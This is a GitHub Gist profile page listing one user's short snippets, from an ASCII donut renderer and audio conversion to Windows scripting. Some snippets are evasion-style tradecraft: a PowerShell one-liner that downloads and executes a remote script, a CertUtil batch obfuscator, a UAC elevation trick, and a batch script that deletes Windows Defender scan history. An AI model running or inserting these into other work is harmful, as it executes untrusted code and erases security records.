Skip to content

Instantly share code, notes, and snippets.

View phoenixthrush's full-sized avatar
🦝
coding through nights

lulu phoenixthrush

🦝
coding through nights
View GitHub Profile
@phoenixthrush
phoenixthrush / batch-obfuscator.bat
Last active August 13, 2025 02:06
Batch Script for Simple CertUtil-Based Obfuscation (not secure) #Batch #Obfuscation #CertUtil
@echo off
if "%~1"=="" exit /b
if /i "%~x1" neq ".bat" if /i "%~x1" neq ".cmd" exit /b
for /f %%i in ("certutil.exe") do if not exist "%%~$path:i" (
echo CertUtil.exe not found.
pause
exit /b
)
@phoenixthrush
phoenixthrush / remote-execute.ps1
Last active August 13, 2025 01:18
PowerShell Remote Script Execution #PowerShell #RemoteExecution #DownloadString
iex ((New-Object System.Net.WebClient).DownloadString('https://domain.com/filename.ps1'))
@phoenixthrush
phoenixthrush / req-admin.bat
Last active August 13, 2025 02:06
Windows Batch Script UAC Elevation One-Liner #Batch #UAC #RunAsAdmin
if not "%1"=="am_admin" (powershell start -verb runas '%0' am_admin & exit /b)
@phoenixthrush
phoenixthrush / clear-protection-history.bat
Last active August 13, 2025 02:06
Windows Defender History Deletion with UAC Elevation #Batch #RunAsAdmin #WindowsDefender
if not "%1"=="am_admin" (powershell start -verb runas '%0' am_admin & exit /b)
rmdir "C:\ProgramData\Microsoft\Windows Defender\Scans\History" /S /Q >nul 2>&1
@phoenixthrush
phoenixthrush / donut.c
Last active August 13, 2025 01:21
ASCII Torus Donut by Andy Sloane - www.a1k0n.net - #ASCIIArt #3DRendering #DonutMath
#include <stdio.h>
#include <string.h>
int k;
double sin(), cos();
int main(void) {
float A = 0, B = 0, i, j, z[1760];
char b[1760];
for (;;) {
@phoenixthrush
phoenixthrush / nhentai-downloader.py
Last active August 13, 2025 01:22
nhentai Gallery Downloader #Python #WebScraping #nhentai
import os
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
from bs4 import BeautifulSoup
import re
COLORS = {
'pink': '\033[38;5;219m',
'cyan': '\033[38;5;51m',
'green': '\033[38;5;156m',
@phoenixthrush
phoenixthrush / ANSI.md
Last active August 13, 2025 01:22 — forked from fnky/ANSI.md
ANSI Escape Codes #Terminal #ANSI #ColorCodes

ANSI Escape Sequences

Standard escape codes are prefixed with Escape:

  • Ctrl-Key: ^[
  • Octal: \033
  • Unicode: \u001b
  • Hexadecimal: \x1B
  • Decimal: 27
@phoenixthrush
phoenixthrush / FLAC_to_ALAC.ps1
Last active August 13, 2025 01:22 — forked from nibral/flac_to_alac.ps1
Convert FLAC to ALAC with PowerShell and FFmpeg #PowerShell #FFmpeg #AudioConversion
Get-ChildItem -Filter "*.flac" | % { ffmpeg -i "$_" -c:a alac -map 0:0 -y "$($_.BaseName).m4a" }
@phoenixthrush
phoenixthrush / Tor-User-Agent.txt
Last active August 13, 2025 01:23
Tor Browser User-Agent (09/2022) #Tor #UserAgent
Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
@phoenixthrush
phoenixthrush / hidden-window.c
Last active August 13, 2025 01:24
Hide C Program Console Window #C #Windows #WinAPI
// compile using -Wl,--subsystem,windows
// gcc hidden-window.c -o mushroom -Wl,--subsystem,windows -Wall
#include <windows.h>
int main(void) {
MessageBox(NULL, "mushrooms", "Phoenixthrush UwU", IDOK | MB_ICONEXCLAMATION);
}